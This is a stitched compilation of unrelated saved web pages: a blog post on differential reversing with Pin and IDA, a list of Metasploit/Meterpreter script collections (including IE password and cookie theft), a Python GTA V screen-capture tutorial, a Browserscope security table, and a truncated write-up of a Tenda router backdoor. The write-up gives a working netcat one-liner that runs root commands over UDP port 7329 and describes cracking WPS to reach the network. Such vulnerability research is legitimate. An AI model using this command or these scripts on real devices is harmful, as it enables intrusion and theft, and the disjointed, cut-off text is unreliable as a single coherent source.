nice guy and would probably not “be so nice as to forget the whole thing.”
Your brainstorming session helps you realize that you have no marketable
skills…  _besides vulnerability discovery and exploit development\!_

You decide to try and find a bug in some large widely installed software and
sell your new found bug to ZDIor iDefense. Having already read this blog post,
you use differential reversing to pinpoint the implementation of an
interesting feature in your target application, use the IDA plug-in to audit,
find an exploitable bug, pound out a PoC and write a fairly weak advisory
\(but it should be worth $5,000\). Hooray\! You can keep your kneecaps \(for
this week at least\). Thank $DEITY you read this blog post and didn’t waste
time auditing extra sections of the target binary.

## Overview

Differential reversing \(as I am deeming it\) is a really simple method to
select starting points in a binary for dynamic auditing. This isn’t a new
idea, I didn’t invent this technique. People have been doing this for-evah.
I’m just documenting a useful set of tools I’ve developed to make my life
easier. Pedram Amini’sProcess Stalker can do this \(calls it “filtering”\). It
does a bunch of other awesome stuff too. I’m also told Zynamics BinNavi can do
this \(they call it “differential debugging”\), but I don’t have a rich uncle
to buy me a copy so I cannot give a first hand account of how it works. It
looks pretty nice — check out the BinNavi page for details.

This post is organized as follows. First, I’ll describe the method and the
steps in implementing it. Next, I’ll describe the three small tools I’ve
written and their implementation. At the end, I’ll show a little example of
the tools in action on a nice proprietary application. All the tools are
written for use on Windows and have been tested on XP. The technique is
generic and could be used on any platform.

## Differential Reversing

When I’m reversing, I’m always trying to find a place to add a good breakpoint
— in other words, I’m not yet a great reverse engineer. I still spend more
time in the debugger than IDA. I’ve seen suggestions to count cross references
and get the frequently called functions reversed first. This makes great
sense. After doing so, you get the memory primitives out of the way. I have a
problem with the next step — where do you go next? My solution to this problem
is to use dynamic information to find areas I am interested in. In large
binaries, unless you can find some good data cross-references \(strings or
unique constants\), it is very hard to statically find the areas of interest.
On the other hand, it is usually easy to exercise the code you want
dynamically. For example, you can exercise the de-frobbing code by passing
your application frobbed data. Record a trace of execution while the
application is processing your input and you will have a bound on where the
interesting code is located. Next, the problem is how to search your large
basic block run trace for the de-frobbing code. The next logical step is to
create a baseline trace of code hit by other inputs that is not hit by the de-
frob inducing input. By removing those blocks hit by the baseline trace, you
have narrowed the search greatly. That is differential reversing \(or, at
least, that is what I’m calling it\).

## Screenshot

<img src='img/Temp2_7783.png' alt='DiffCov Screenshot 1' />

## Tools

There are two obvious tools needed: a tool to capture the set of basic blocks
hits during a run and a tool to produce a set of basic blocks given a baseline
set and a trigger set. For the first tool \(BlockCov\), I’ve written a Pin
tool to capture the basic blocks hit during a run. The Pin tool takes as
arguments a set of modules \(executables or libraries\) of interest. This
allows the GUI and system stuff to be ignored at the trace level \(in other
words, we aren’t even going to record hits in modules outside the whitelist of
modules\). The output is a simple list of basic blocks hit for each modules.
It also records the module load address in case multiple runs load the module
at different virtual addresses.

The second tool is a small python script \(diffre.py\). The script creates a
stable set of blocks by loading multiple runs using the same input and
discarding any blocks that don’t exist in all runs with that input. Once a
stable set of blocks has been created for both the baseline and the trigger,
those blocks appearing only in the trigger set are recorded in an output set
of blocks. Finally, this output is provided to a small IDA plug-in \(IDACov\)
to color the blocks that are hit and a list of covered function to quickly
navigate to the areas of interest \(Actually, since I started this blog post,
I rewrote this plug-in as a IDAPython script — both are included in the
archive.\)

## Tool \#1: BlockCov

BlockCov is a Pin tool that monitors a running process and records each basic
block executed. Pin is a dynamic binary instrumentation \(DBI\) framework made
available by Intel. It allows us to monitor the execution while adding very
little overhead and maintaining a reasonable runtime. Pin publishes an easy to
use API and extensive documentation. The mailing list is active and the
replies are quick. The downside of using a DBI framework is the difficulty of
debugging your tool. Most of the time, you end up using printf debugging
techniques. Despite this part of the process, Pin allows you to do some things
that would otherwise be too slow to do with a normal debugger. The tradeoff is
lack of flexibility, but with the right tools that can be mitigated. But we’re
off on a tangent…

BlockCov reduces the overhead by using an address range filter. A set of
interesting images is given using command line switches to exclude GUI and
system code at the trace level \(of course it can still be included if that is
what you are interested in\). This filter is created by hooking image loads
\(PE files — executables and DLLs\). When an image is loaded, the filename of
the loaded image is checked against the whitelist. If a match is found, the
image address range is stored along with the image name in a loaded module
list. Pin works by dynamically rewriting IA32 \(or x64 or IA64\) instructions
just before execution. The rewrite accomplishes two things: first, it ensures
the process under execution does not escape control of the Pin driver and,
second, it allows a Pin tool to insert instrumentation hooks at any point in
the process. We want to record every access to a basic block within the loaded
whitelist modules. We ask Pin to call us every time it does this translation.
When BlockCov gets this callback, it looks at the addresses being translated.
If the translation falls within an interesting module, then a function call is
inserted to record that this block has been hit. Effectively, this is like
adding a “CALL RecordBlockHit” at the start of every interesting block before
running the process. When the process exits, the recorded set of block
addresses are dumped for each interesting module. BlockCov is fairly
straightforward — it doesn’t do much.

## Tool \#2: diffre.py

diffre.py is a script that has two functions. To avoid spurious differences in
a run caused by processes not dependent on the inputs we control, multiple
runs are recorded using BlockCov before processing with diffre.py. The script
will then take all runs with the same input and filter out any blocks which
are not present in all traces. You can come up with instances when this
wouldn’t be useful, or even when it might be counter productive, but it has
been more useful this way \(YMMV\). We will call the resulting set of blocks
the stable set. Once that has been computed for both the baseline input runs
and the trigger input runs, these two sets are compared and a set difference
gives the blocks that are unique to the trigger input. This set is output to a
file for the IDA plug-in \(or anything else you want to do with it\).

## Tool \#3: IDACov

IDACov is a really simple plug-in that takes a list of basic block starting
addresses as input. It colors the instructions in this basic block blue and
the function containing a color block light blue. It also makes a list of
functions with highlighted blocks for quick navigation. I’m guessing there are
plug-ins/IDAPython/IDC that do almost the exact same thing, but I’m learning
the SDK and this was a good simple exercise. I’ll be re-implementing this in
IDAPython soon to see how much cleaner that is. Oh, look, I did it already.
IDAPython is great.

## Building the Tools

First, grab a current snapshot.

To use the tools, you’ll need Pin 29972 and a recent Visual Studio \(the free
Express version will work fine\). When you unpack Pin, you’ll get a directory
with something like pin-2.7-29972-blah, we’ll call this $PINROOT. Unpack the
DiffCov tools into $PINROOT\source\tools\\. This should place all the tools
under $PINROOT\source\tools\DiffCov. Open the DiffCov.sln solution file and
build both the pintool and the IDA plug-in. The solution assumes you have IDA
at C:\Program Files\IDA and that you want to build the plugin in the \plugins
directory under IDA. If you don’t want it there, modify the properties of the
IDACov project. The sample SWF files used for input are includes, but if you
want to compile them from the HaXe source, you will need HaXe installed. Oh,
also, the IDA plug-in expects the SDK to be at C:\Program Files\IDA\idasdk55 —
another thing you can fix in the project properties if you need to.
Alternatively, the package includes a compiled version of the plug-in. The Pin
tool is not distributed in compiled form, you’ll have to build that yourself.

## Use Case: Adobe Flash and AMF

The Adobe Flash Player uses some incarnation of the Tamarin framework. This
means much of the front-side of Flash is open-sourced. The back-side, the
ActionScript API, is not open-source. Flash has a built-in serialization
protocol called Action Message Format \(or AMF\). The ByteArray class in
flash.utils support serialization and de-serialization of byte streams using
this format. The format is described in an open document from Adobe’s wiki. We
will be focusing on AMF3 because that is what the latest ActionScript API uses
by default — although, it would be pretty simple to modify the two inputs to
find the processing of an AMF0 message. Our goal is to find the parsing of an
AMF message in the Flash Player plug-in. I tend to use Firefox for this, so my
examples will be using Firefox to launch Flash Player.

Our first step is creating two different inputs that are as similar as
possible yet only one will exercise the AMF object parsing codepath. Below are
the two HaXe programs to do just that:

Baseline

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    
    
[/code]

|

[code]

    class Test {
      static function main() {
        var ba = new flash.utils.ByteArray();
        ba.writeByte(0x04);
        ba.writeByte(0x01);
        ba.position = 0;
      }
    }
    
[/code]  
---|---  
AMF Integer Parse

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    
    
[/code]

|

[code]

    class Test {
      static function main() {
        var ba = new flash.utils.ByteArray();
        ba.writeByte(0x04);
        ba.writeByte(0x01);
        ba.position = 0;
        var v = ba.readObject();
      }
    }
    
[/code]  
---|---  
Now that we have out inputs, let’s run Firefox under the BlockCov tool to
capture some coverage sets. We will pass a single whitelisted image to
BlockCov: NPSWF32.dll. This is the Flash Player plug-in used by Firefox. Since
we are only whitelisting the Flash DLL, none of the Firefox code will be
captured — this will keep the overhead low and the block trace smaller. Below
is a transcript of 4 runs of BlockCov. Note that BlockCov takes an id and a
run parameter; the id parameter is a name for the input used in this run \(it
shouldn’t change when doing multiple runs with the same input\) and the run
parameter is a number to give this run \(it differentiates between multiple
runs with the same input\). Keep in mind I’m using a Firefox profile called
“fuzz” to run this under — you’ll have to modify the command line to get rid
of the -no-remote and -P fuzz switches if you want to run under the default
profile.

[code]

    E:\tools\PinTools\pin-2.6-27887\source\tools\DiffCov\Debug>..\..\..\..\ia32\bin\
    pin.exe -t BlockCov.dll -mw NPSWF32.dll -id base -run 0 -- "c:/program files/moz
    illa firefox/firefox.exe" -no-remote -P fuzz "E:\tools\PinTools\pin-2.6-27887\so
    urce\tools\DiffCov\Samples\AMFInt-Baseline\Test.swf"
     
    E:\tools\PinTools\pin-2.6-27887\source\tools\DiffCov\Debug>..\..\..\..\ia32\bin\
    pin.exe -t BlockCov.dll -mw NPSWF32.dll -id base -run 1 -- "c:/program files/moz
    illa firefox/firefox.exe" -no-remote -P fuzz "E:\tools\PinTools\pin-2.6-27887\so
    urce\tools\DiffCov\Samples\AMFInt-Baseline\Test.swf"
     
    E:\tools\PinTools\pin-2.6-27887\source\tools\DiffCov\Debug>..\..\..\..\ia32\bin\
    pin.exe -t BlockCov.dll -mw NPSWF32.dll -id amfint -run 0 -- "c:/program files/m
    ozilla firefox/firefox.exe" -no-remote -P fuzz "E:\tools\PinTools\pin-2.6-27887\
    source\tools\DiffCov\Samples\AMFInt\Test.swf"
     
    E:\tools\PinTools\pin-2.6-27887\source\tools\DiffCov\Debug>..\..\..\..\ia32\bin\
    pin.exe -t BlockCov.dll -mw NPSWF32.dll -id amfint -run 1 -- "c:/program files/m
    ozilla firefox/firefox.exe" -no-remote -P fuzz "E:\tools\PinTools\pin-2.6-27887\
    source\tools\DiffCov\Samples\AMFInt\Test.swf"
    
[/code]

These four runs have generated four block sets: base-0-NPSWF32.dll.blocks,
base-1-NPSWF32.dll.blocks, amfint-0-NPSWF32.dll.blocks, and
amfint-1-NPSWF32.dll.blocks. Next up, run diffre.py from within the directory
containing these four block sets. This should output two files: amfint-
results.blocks and base-results.blocks. These are human readable and list the
address of blocks of interest. The addresses are offsets from the loaded image
base \(often 0×10000000 in IDA for DLLs\).

If you own IDA, fire it up and load NPSWF32.dll
\(C:\WINDOWS\system32\Macromed\Flash\NPSWF32.dll\). When the analysis is
complete, load the IDACov plug-in. A file dialog should pop-up asking for a
results file to load. Point it to the amfint-results.blocks produced by
diffre.py and voila. Here’s another screen shot:

<img src='img/Temp2_7782.png' alt='DiffCov Screenshot 2' />

About 20 functions to inspect. Those go by pretty quick and the most
interesting one \(offset 0×00175903\) is what appears to be the readObject
implementation. See the switch statement covering all the AMF markers listed
in the AMF3 specification \(oh, look, 2 don’t appear in the specification\).

## Future Posts

I’ve recently written a Pin tool to gather a detailed run trace. This records
instructions executes, memory read or written, and register value changes. It
was inspired by MSR’s Nirvana project. On top of that, I have some simple
analyses — one tracks tainted data and hooks up to an IDA plug-in shown in the
screenshot:

<img src='img/Temp2_7781.png' alt='BaSO4 Screenshot' />

The tainted data source is translated into a parse tree node to quickly
identify how various fields in a file format are processed within an
executable \(note the tree on the right\). Eventually, I’d like to hook this
up to hex-rays to get some nice auto-commenting \(but first, I have to
convince my boss to spend the money on it\). All of that is for another day
and another post \(hopefully with less than 6 months in between this one and
the next\). There is also some static analysis I’ve written to do control
dependency calculations — useful for determining the span of a tainted
conditional jump. Another future project is implementing some smart fuzzing
tools using the trace collection engine and some SMT solver. Basically, all
the cool stuff the academics get to do.

I hope this was useful to some people — much of this has been repeated before
in tools like PaiMei, but this is a slightly different way to go about it.
Thanks for reading this far. I can be contacted at dion@semantiscope.com with
any questions or comments.

### Happy hunting\!

# Penetration testing- Frameworks > Available for free > Metasploit Plugins

**Created:**| _5/26/2009 3:54:08 PM_  
---|---  
**Updated:**| _5/26/2009 3:54:17 PM_  
**Author:**| __  
**Tags:**| _Exploit pentest Metasploit plugin_  
  

## PENETRATION TESTING / FRAMEWORKS / AVAILABLE FOR FREE / METASPLOIT PLUGINS

| | Dan Guido Meterpreter Scripts  
CookieMonster, Find Installed Programs, IE History Browser, IE Passwords, and
more\!  
http://cryptocity.net/archive/source09/  
Read more  
---  
| Darkoperator Meterpreter Scripts  
One of the best sources for Meterpreter Scripts out there\! CheckVM for
checking if meterpreter is running inside a VM, GetGUI for getting RDP
activated, ScheduleMe for scheduling tasks in Windows, and many more\!  
http://www.darkoperator.com/meterpreter/  
Read more  
---  
| MC Scripts and Exploits for Metasploit  
A series of metasploit/meterpreter Ruby scripts as well as random exploits  
http://www.metasploit.com/users/mc/  
---

# Python Programming Tutorials

**Created:**| _5/7/2017 10:43:02 AM_  
---|---  
**Updated:**| _5/7/2017 10:43:02 AM_  
**Author:**| __  
**Tags:**| _python programming games_  
  

  

  
  

## Reading game frames in Python with OpenCV - Python Plays GTA V

  
<img src='img/self-driving-car-grand-theft-auto-5.gif' width='500'
height='224' alt='python artificial intelligence tutorials' />  
  
  

Intro and Screen reading - Python plays Grand Theft Auto V p.1

  
  
  

When OpenAI's Universe came out, and various articles suggested games even
like Grand Theft Auto 5 were ready to go, I was very excited in checking it
out. Then, however, somewhat mysteriously, GTA V was completely removed from
Universe with no explanation whatsoever.

I gave up and forgot about it for a while, but the idea still seemed exciting.
Finally, I decided to put some more mental energy into it, and questioned
whether or not I even needed Open AI at all for a task like this. Sure, it's
nice for simpler games that can be run en masse, so you can train thousands of
iterations in moments, but, with something like GTA V, this is really not
going to be much of an option anyway.

Just in case it's not totally obvious, why GTA V? At least for me, Grand Theft
Auto 5 is a great environment to practice in for a variety of reasons. It's an
open world with endless things you can do, but let's consider even just a
simple one: Self-driving cars. With GTA V, we can use mods to control the time
of day, weather, traffic, speeds, what happens when we crash...all kinds of
things \(mainly using mods, but this isn't absolutely required\). It's just a
completely customize-able environment.

Some of my tutorials are planned fully, others sort of, and some not at all.
This is not planned at all, and is going to be me working through this
problem. I realize not everyone has Grand Theft Auto 5, but it is my
expectation that you have SOME similar games to do the tasks we're going to be
working on, and that this method can be done on a variety of games. Because
you may have to translate some things and tweak to get things working on your
end, this is probably not going to be a beginner-friendly series.

My initial goal is to just create a sort of self-driving car. Any game with
lanes and cars should be just fine for you to follow along. The method I will
use to access the game should be do-able on almost any game. A simpler game
will likely be much more simple of a task too. Things like sun glare in GTA V
will make computer vision only much more challenging, but also more realistic.

I may also try other games with this method, since I also think we can teach
an AI to play games by simply showing it how to play for a bit, using a
Convolutional Neural Network on that information, and then letting the AI poke
around.

Here are my initial thoughts:

Despite not having a pre-packaged solution already with Python:

  1. We can surely access frames from the screen.
  2. We can mimic key-presses \(sendkeys, pyautogui...and probably many other options\).

This is already enough for more rudimentary tasks, but what about for
something like deep learning? Really the only extra thing we might want is
something that can also log various events from the game world. That said,
since most games are played almost completely visually, we can handle for that
already, and we can also track mouse position and key presses, allowing us to
engage in deep learning.

I doubt this will be sunshine and rainbows, but I think it's at least
possible, and will make for a great, or at least interesting, project. My main
concern is processing everything fast enough, but I think we can do it, and
it's at least worth a shot.

So this is quite a large project, if we don't break it down, and take some
baby-steps, we're going to be overwhelmed. The way I see it, we need to try to
do the bare minimum first. Thus, the initial goals are:

  1. Access the game-screen at a somewhat decent FPS. Anything over 5ish should be workable for us. Unpleasant to watch, but work-able, and we can always just watch the actual live game, rather than the processing frames for our enjoyment.
  2. Send keyboard input to game screen. I am assuming I can do this very simply, but we need to make sure.
  3. Try some form of joystick input if possible \(especially considering throttle and turning\)
  4. Use OpenCV on game frames and hope to not take a huge hit in processing FPS
  5. Simple self-driving car that stays in some lanes under simple conditions \(High sun, clear day, no rain, no traffic...etc\).

Alright, so step 1, how should we actually access our screen? I am only
certain it's been done, but I don't really know how. For this, I take to
Google\! I find quite a few examples, most of which don't actually loop, but
this one does: http://stackoverflow.com/questions/24129253/screen-capture-
with-opencv-and-python-2-7, it just appears to have a typo on the import,
ImageGrab is part of PIL.

[code]

    import numpy as np
    import ImageGrab
    import cv2
    
    while(True):
        printscreen_pil =  ImageGrab.grab()
        printscreen_numpy =   np.array(printscreen_pil.getdata(),dtype=uint8)\
        .reshape((printscreen_pil.size[1],printscreen_pil.size[0],3)) 
        cv2.imshow('window',printscreen_numpy)
        if cv2.waitKey(25) & 0xFF == ord('q'):
            cv2.destroyAllWindows()
            break
            
    
[/code]

[code]

    ----------------------------------------------------------------------
    ImportError                          Traceback (most recent call last)
    <ipython-input-3-00f897cb4216> in <module>()
          1 import numpy as np
    ----> 2 import ImageGrab
          3 import cv2
          4 
          5 while(True):
    
    ImportError: No module named 'ImageGrab'
[/code]

Odd, okay, ImageGrab is part of PIL from what I understand, so we fix that
import:

[code]

    import numpy as np
    from PIL import ImageGrab
    import cv2
    
    while(True):
        printscreen_pil =  ImageGrab.grab()
        printscreen_numpy =   np.array(printscreen_pil.getdata(),dtype=uint8)\
        .reshape((printscreen_pil.size[1],printscreen_pil.size[0],3)) 
        cv2.imshow('window',printscreen_numpy)
        if cv2.waitKey(25) & 0xFF == ord('q'):
            cv2.destroyAllWindows()
            break
    
[/code]

[code]

    ----------------------------------------------------------------------
    NameError                            Traceback (most recent call last)
    <ipython-input-4-545ecbe36422> in <module>()
          5 while(True):
          6     printscreen_pil =  ImageGrab.grab()
    ----> 7     printscreen_numpy =   np.array(printscreen_pil.getdata(),dtype=uint8)    .reshape((printscreen_pil.size[1],printscreen_pil.size[0],3))
          8     cv2.imshow('window',printscreen_numpy)
          9     if cv2.waitKey(25) & 0xFF == ord('q'):
    
    NameError: name 'uint8' is not defined
[/code]

More fighting. The dtype should be string, not what appears to be a variable
name that's obviously not defined. Did this person run the code?

[code]

    import numpy as np
    from PIL import ImageGrab
    import cv2
    
    def screen_record(): 
        while True:
            printscreen_pil =  ImageGrab.grab()
            printscreen_numpy =   np.array(printscreen_pil.getdata(),dtype='uint8')\
            .reshape((printscreen_pil.size[1],printscreen_pil.size[0],3)) 
            cv2.imshow('window',printscreen_numpy)
            if cv2.waitKey(25) & 0xFF == ord('q'):
                cv2.destroyAllWindows()
                break
    
[/code]

Great, this one actually works to some degree. It's a bit large though. And
slow. Let's solve for the size.

[code]

    import numpy as np
    from PIL import ImageGrab
    import cv2
    
    
    def screen_record(): 
        while True:
            # 800x600 windowed mode
            printscreen_pil =  ImageGrab.grab(bbox=(0,40,800,640))
            printscreen_numpy =   np.array(printscreen_pil.getdata(),dtype='uint8')\
            .reshape((printscreen_pil.size[1],printscreen_pil.size[0],3))
            cv2.imshow('window',cv2.cvtColor(printscreen_numpy, cv2.COLOR_BGR2RGB))
            if cv2.waitKey(25) & 0xFF == ord('q'):
                cv2.destroyAllWindows()
                break
            
    
[/code]

Okay great, this will work for size... but this is still very slow. I am
currently getting about 2-3 Frames per second. Let's find out why.

[code]

    import numpy as np
    from PIL import ImageGrab
    import cv2
    import time
    
    def screen_record(): 
        last_time = time.time()
        while True:
            # 800x600 windowed mode
            printscreen_pil =  ImageGrab.grab(bbox=(0,40,800,640))
            printscreen_numpy =   np.array(printscreen_pil.getdata(),dtype='uint8')\
            .reshape((printscreen_pil.size[1],printscreen_pil.size[0],3))
            print('loop took {} seconds'.format(time.time()-last_time))
            last_time = time.time()
    
        ##    cv2.imshow('window',cv2.cvtColor(printscreen_numpy, cv2.COLOR_BGR2RGB))
        ##    if cv2.waitKey(25) & 0xFF == ord('q'):
        ##        cv2.destroyAllWindows()
        ##        break
    
[/code]

This is still ~2-3 FPS, so the imshow is not the culprit.

[code]

    import numpy as np
    from PIL import ImageGrab
    import cv2
    import time
    
    def screen_record(): 
        last_time = time.time()
        while True:
            # 800x600 windowed mode
            printscreen_pil =  ImageGrab.grab(bbox=(0,40,800,640))
        ##    printscreen_numpy =   np.array(printscreen_pil.getdata(),dtype='uint8')\
        ##    .reshape((printscreen_pil.size[1],printscreen_pil.size[0],3))
            print('loop took {} seconds'.format(time.time()-last_time))
            last_time = time.time()
        ##    
        ##    cv2.imshow('window',cv2.cvtColor(printscreen_numpy, cv2.COLOR_BGR2RGB))
        ##    if cv2.waitKey(25) & 0xFF == ord('q'):
        ##        cv2.destroyAllWindows()
        ##        break
    
[/code]

Oooh. We're on to something now: loop took 0.05849909782409668 seconds loop
took 0.044053077697753906 seconds loop took 0.04760456085205078 seconds loop
took 0.04805493354797363 seconds loop took 0.05989837646484375 seconds

Now, for OpenCV's imshow, we really need a numpy array. What if, rather than
doing the whole .getdata and reshape.... let's just convert
ImageGrab.grab\(bbox=\(0,40,800,640\)\) to a numpy array. Why the reshape?
It's already the size we need, and maybe .getdata, despite being a method,
wont be required.

[code]

    import numpy as np
    from PIL import ImageGrab
    import cv2
    import time
    
    def screen_record(): 
        last_time = time.time()
        while(True):
            # 800x600 windowed mode
            printscreen =  np.array(ImageGrab.grab(bbox=(0,40,800,640)))
            print('loop took {} seconds'.format(time.time()-last_time))
            last_time = time.time()
            cv2.imshow('window',cv2.cvtColor(printscreen, cv2.COLOR_BGR2RGB))
            if cv2.waitKey(25) & 0xFF == ord('q'):
                cv2.destroyAllWindows()
                break
    
[/code]

Great, this gives me ~12-13 FPS. That's certainly not amazing, but we can work
with that.

I chose the bbox dimensions to match an 800x600 resolution of GTA V in
windowed mode.

The next tutorial:

  
  

  
  
  

<img src='' width='0' height='0' />

  * Reading game frames in Python with OpenCV - Python Plays GTA V
You are currently here.

  * OpenCV basics - Python Plays GTA V
  * Direct Input to Game - Python Plays GTA V
  * Region of Interest for finding lanes - Python Plays GTA V
  * Hough Lines - Python Plays GTA V
  * Finding Lanes for our self driving car - Python Plays GTA V
  * Self Driving Car - Python Plays GTA V
  * Next steps for Deep Learning self driving car - Python Plays GTA V
  * Training data for self driving car neural network- Python Plays GTA V
  * Balancing neural network training data- Python Plays GTA V
  * Training Self-Driving Car neural network- Python Plays GTA V
  * Testing self-driving car neural network- Python Plays GTA V
  * A more interesting self-driving AI - Python Plays GTA V

  

# Home - Browserscope

**Created:**| _11/14/2010 4:14:44 PM_  
---|---  
**Updated:**| _11/14/2010 4:17:53 PM_  
**Author:**| __  
**Tags:**| _Footprinting web browser_  
  

Browserscope is a community-driven project for profiling web browsers. The
goals are to foster innovation by tracking browser functionality and to be a
resource for web developers.

Gathering test results from users "in the wild" is the most important and
useful feature of Browserscope - and you can participate\!

How Does Your Browser Compare?

  

Use browserscope for your own tests

  * ### Summary
  * ### Security
Top BrowsersBrowser FamiliesMajor VersionsMinor VersionsAll Versions name | score | postMessage | JSON.parse | toStaticHTML | httpOnly cookies | X-Frame-Options | X-Content-Type-Options | Block reflected XSS | Block location spoofing | Block JSON hijacking | Block XSS in CSS | Sandbox attribute | Origin header | Strict Transport Security | Block cross-origin CSS attacks | Cross Origin Resource Sharing | Block visited link sniffing | Content Security Policy | \# Tests  
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---  
Android 2.2→ | 11/17 | yes | yes | no | no | yes | no | yes | yes | yes | yes | yes | yes | no | yes | yes | no | no | 64  
Chrome 7→ | 14/17 | yes | yes | no | yes | yes | yes | no | yes | yes | yes | yes | yes | yes | yes | yes | yes | no | 1905  
Chrome 8→ | 15/17 | yes | yes | no | yes | yes | yes | yes | yes | yes | yes | yes | yes | yes | yes | yes | yes | no | 327  
Firefox 3.6→ | 9/17 | yes | yes | no | yes | yes | no | no | yes | yes | yes | no | no | no | yes | yes | no | no | 11035  
Firefox Beta 4.0b6→ | 14/17 | yes | yes | yes | yes | yes | yes | no | yes | yes | yes | no | no | yes | yes | yes | yes | yes | 111  
IE 8→ | 11/17 | yes | yes | yes | yes | yes | yes | yes | no | yes | yes | no | no | no | yes | yes | no | no | 5507  
IE Platform Preview 9.0.6→ | 11/17 | yes | yes | yes | yes | yes | yes | no | yes | yes | yes | no | no | no | yes | yes | no | no | 9  
iPhone 3.1→ | 7/17 | yes | no | no | yes | yes | no | no | yes | yes | yes | no | yes | no | no | no | no | no | 111  
iPhone 4.1→ | 11/17 | yes | yes | no | yes | yes | no | yes | yes | yes | yes | no | yes | no | yes | yes | no | no | 52  
Opera 10.63→ | 8/17 | yes | yes | no | yes | yes | no | no | yes | yes | yes | no | no | no | yes | no | no | no | 338  
Safari 5.0→ | 13/17 | yes | yes | no | yes | yes | no | yes | yes | yes | yes | yes | yes | no | yes | yes | yes | no | 1277  
  

  

  * ### Rich Text
View the Rich Text Results Table

  * ### Selectors API
View the Selectors API Results Table

  * ### Network
View the Network Results Table

  * ### Acid3
View the Acid3 Results Table

  * ### JSKB
View the JSKB Results Table

# From China, With Love - /dev/ttyS0

**Created:**| _10/18/2013 10:05:12 AM_  
---|---  
**Updated:**| _10/18/2013 10:05:12 AM_  
**Author:**| __  
**Tags:**| _LOLZ routers backdoor opsec_  
  

# **F** rom China, With Love****

Lest anyone think that D-Link is the only vendor who puts backdoors  in their
products, here’s one that can be exploited with a single UDP packet, courtesy
of Tenda **.**

After extracting the latest firmware  for Tenda’s W302R wireless router, I
started looking at /bin/httpd, which turned out to be the GoAhead  webserver:

<img src='img/Temp2_3304.png' alt='Server header string in /bin/httpd' />

Server header string in /bin/httpd

But Tenda has made a lot of special modifications  themselves**.** Just before
entering the HTTP receive loop, main calls InitMfgTask, which spawns the
MfgThread function as a separate thread:

<img src='img/Temp2_3308.png' alt='pthread_create(&var_10, 0, MfgThread, 0);'
/>

pthread\_create\(&var\_10, 0, MfgThread, 0\);

Hmmm…InitMfgTask and MfgThread**?** Related to manufacturing tasks
perhaps**?** Iiiiiinteresting…

The first thing MfgThread does is create a UDP socket and bind it to port
7329:

<img src='img/Temp2_3302.png' alt='Create UDP socket and bind to port 7329' />

Create UDP socket and bind to port 7329

The thread then goes into a recvfrom loop, reading up to 128 bytes from the
socket**.** It expects each received UDP packet to be at least 14 bytes in
length:

<img src='img/Temp2_3303.png' alt='Read packet from socket and check packet
size' />

Read packet from socket and check packet size

Now for the fun part; the received UDP packet is then parsed by this block of
code:

<img src='img/Temp2_3309.png' alt='Processing the received packet' />

Processing the received packet

In C, this code reads:

>
[code]

>     memset(rx_magic_string, 0, 0x80);
>     memset(command_byte, 0, 0x80);
>     memset(command_arg, 0, 0x80);
>  
>     memcpy(rx_magic_string, rx_buf, 9);
>     command_byte[0] = rx_buf[11];
>     memcpy(command_arg, rx_buf+12, rx_size-12);
>  
>     // If magic string doesn't match, stop processing this packet and wait
> for another packet
>     if(strcmp(rx_magic_string, "w302r_mfg") **!** = 0) goto
> outer_receive_loop;
>  
[/code]

We can see that the thread is expecting a packet with the following structure:

>
[code]

>     struct command_packet_t
>     {
>         char magic[10]; // 9 byte magic string ("w302r_mfg"), plus a NULL
> terminating byte
>         char command_byte;
>         char command_arg[117];
>     };
>  
[/code]

As long as the received packet starts with the string “w302r\_mfg”, the code
then compares the specified command byte against three ASCII characters \(’1′,
‘x’, and ‘e’\):

<img src='img/Temp2_3307.png' alt='Comparing command_byte to '1', 'x' and 'e''
/>

Comparing command\_byte to ’1′, ‘x’ and ‘e’

For simplicity, I’ve converted the remaining disassembly \(at least the
important bits\) to the following C code:

>
[code]

>     switch(command_byte)
>     {
>         case 'e':
>             strcpy(tx_buf, "w302r_mfg");
>             tx_size = 9;
>             break;
>         case '1':
>             if(strstr(command_arg, "iwpriv") **!** = NULL)
>                 tx_size = call_shell(command_arg, tx_buf, 0x800);
>             else
>                 strcpy(tx_buf, "000000");
>                 tx_size = strlen(tx_buf);
>             break;
>         case 'x':
>             tx_size = call_shell(command_arg, tx_buf, 0x800);
>             break;
>         default:
>             goto outer_receive_loop;
>     }
>  
>     sendto(client_socket, tx_buf, tx_size, client_sock_addr, 16);
>     goto outer_receive_loop;
>  
[/code]

The following actions correspond to the three accepted command bytes:

  * ‘e’ – Responds with a pre-defined string, basically a ping test
  * ’1′ – Intended to allow you to run iwpriv commands
  * ‘x’ – Allows you to run _any_ command, as root

If ‘x’ is specified as the command byte, the remainder of the packet after the
command byte \(called command\_arg in the above code\) is passed to
call\_shell, which executes the command via popen:

<img src='img/Temp2_3310.png' alt='popen(command_arg, ' />

popen\(command\_arg, “r”\);

What’s more, call\_shell populates the tx\_buf buffer with the output from the
command, which, as we can see from the previous C code, is sent back to the
client**\!**

Knowing the functionality of MfgThread and its expected packet structure, we
can easily exercise this backdoor with netcat:

>
[code]

>     $ echo -ne "w302r_mfg\x00x/bin/ls" | nc -u -q 5 192**.** 168**.** 0.1 7329
>     drwxr-xr-x    2 0        0            1363 webroot
>     drwxr-xr-x    1 0        0               0 var
>     drwxr-xr-x    5 0        0              43 usr
>     drwxr-xr-x    1 0        0               0 tmp
>     drwxr-xr-x    2 0        0               3 sys
>     drwxr-xr-x    2 0        0             569 sbin
>     dr-xr-xr-x   39 0        0               0 proc
>     drwxr-xr-x    2 0        0               3 mnt
>     drwxr-xr-x    1 0        0               0 media
>     drwxr-xr-x    4 0        0             821 lib
>     lrwxrwxrwx    1 0        0              11 init -> bin/busybox
>     drwxr-xr-x    2 0        0               3 home
>     drwxr-xr-x    7 0        0             154 etc_ro
>     drwxr-xr-x    1 0        0               0 etc
>     drwxr-xr-x    1 0        0               0 dev
>     drwxr-xr-x    2 1000     100           574 bin
>  
[/code]

One teensy-weensy, but ever so crucial little tiny detail is that the backdoor
only listens on the LAN, thus it is not exploitable from the WAN**.** However,
it _is_ exploitable over the wireless network, which has WPS enabled by
default with no brute force rate limiting**.** My shiny new ReaverPro  box
made relatively short work of cracking WPS, providing access to the WLAN and a
subsequent root shell on the router \(they also ship with a default WPA key,
which you might want to try first\):

<img src='img/Temp2_3306.png' alt='ReaverPro cracking the WPS pin' />

ReaverPro cracking the WPS pin

<img src='img/Temp2_3305.png' alt='Starting telnetd and getting a root shell'
/>

Starting telnetd and getting a root shell

As the magic string suggests, this backdoor was likely first implemented in
